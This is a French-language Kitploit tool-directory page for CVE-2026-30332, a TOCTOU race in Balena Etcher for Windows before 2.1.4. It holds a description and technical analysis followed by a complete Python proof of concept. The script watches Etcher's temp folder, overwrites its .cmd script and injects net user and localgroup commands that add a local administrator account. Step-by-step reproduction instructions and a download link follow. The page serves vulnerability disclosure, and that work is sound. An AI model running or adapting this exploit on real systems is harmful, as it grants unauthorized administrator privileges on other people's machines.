Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-30332 — Balena Etcher versions antérieures à v2.1.4 sur Windows sont affectées par une condition de course Time-of-Check to Time-of-Use (TOCTOU) dans la gestion des fichiers temporaires. | Kitploit
Outils/GitHubGitHub/b1tbreaker/cve-2026-30332
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitation
GitHubb1tbreaker/cve-2026-30332

CVE-2026-30332

Balena Etcher versions antérieures à v2.1.4 sur Windows sont affectées par une condition de course Time-of-Check to Time-of-Use (TOCTOU) dans la gestion des fichiers temporaires.

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-30332

Description

Une vulnérabilité de type Time-of-Check à Time-of-Use (TOCTOU) a été identifiée dans Balena Etcher pour Windows dans les versions antérieures à 2.1.4.
L'application crée un fichier .cmd temporaire dans un répertoire accessible en écriture par l'utilisateur, puis l'exécute ultérieurement avec des privilèges élevés via UAC.
Cela permet à une application ou à un processus s'exécutant dans le contexte de l'utilisateur actuel avec une intégrité moyenne d'élever ses privilèges à une intégrité élevée en injectant des commandes malveillantes dans le script temporaire avant son exécution.


Analyse technique

Lorsqu'un utilisateur lance le processus de flashage, Etcher effectue la séquence suivante :

  1. Un fichier .cmd temporaire est créé dans le répertoire temporaire accessible en écriture de l'utilisateur :
    C:\Users\<username>\AppData\Local\Temp\etcher\

  2. Le fichier est rempli avec les variables d'environnement nécessaires et la commande pour lancer etcher-util.exe.

  3. Le script est exécuté avec des privilèges élevés via UAC Windows.

La vulnérabilité provient de l'écart de temps entre la création du fichier et son exécution. Pendant cette brève fenêtre, une application s'exécutant dans le même contexte utilisateur peut surveiller le répertoire temporaire et remplacer le fichier .cmd légitime par une version malveillante. Étant donné qu'Etcher ne valide pas l'intégrité du fichier avant de l'exécuter, le code malveillant s'exécute avec des privilèges élevés.


Preuve de concept

Le script Python suivant surveille le répertoire temporaire d'Etcher et, dès que le fichier .cmd est détecté, y ajoute une charge utile malveillante qui crée un nouveau compte administrateur local.

root@kitploit:~
import os
import time
import glob

username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''

def monitor_and_replace():
    print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
    
    while True:
        cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
        for cmd_file in cmd_files:
            print(f"[+] New .cmd file detected: {cmd_file}")
            try:
                with open(cmd_file, "w") as f:
                    f.write(payload)
                print("[+] Payload successfully written to .cmd file.")
                return  # Exit after successful injection
            except Exception as e:
                print(f"[-] Failed to write payload: {e}")
        time.sleep(0.5)

if __name__ == "__main__":
    monitor_and_replace()

Étapes pour reproduire

  1. Ouvrez une invite de commandes et exécutez python exploit.py. Le script commence à surveiller le répertoire temporaire pour tout fichier .cmd créé par Etcher.

  1. Lancez Balena Etcher, sélectionnez un fichier image valide et le périphérique USB/SD cible, puis cliquez sur Flash pour démarrer le processus de flashage.

  1. Lorsque l'invite UAC apparaît, acceptez-la pour permettre à Etcher de continuer avec des privilèges élevés.

  2. Le script d'exploitation détecte et remplace le fichier .cmd temporaire juste avant son exécution. Une fois que le script s'exécute avec des privilèges élevés, les commandes injectées sont exécutées, ajoutant un nouvel utilisateur administrateur local (exploitUser).

Références

  • Enregistrement CVE NVD NIST
  • Problème GitHub – Rapport de vulnérabilité
Télécharger l’outil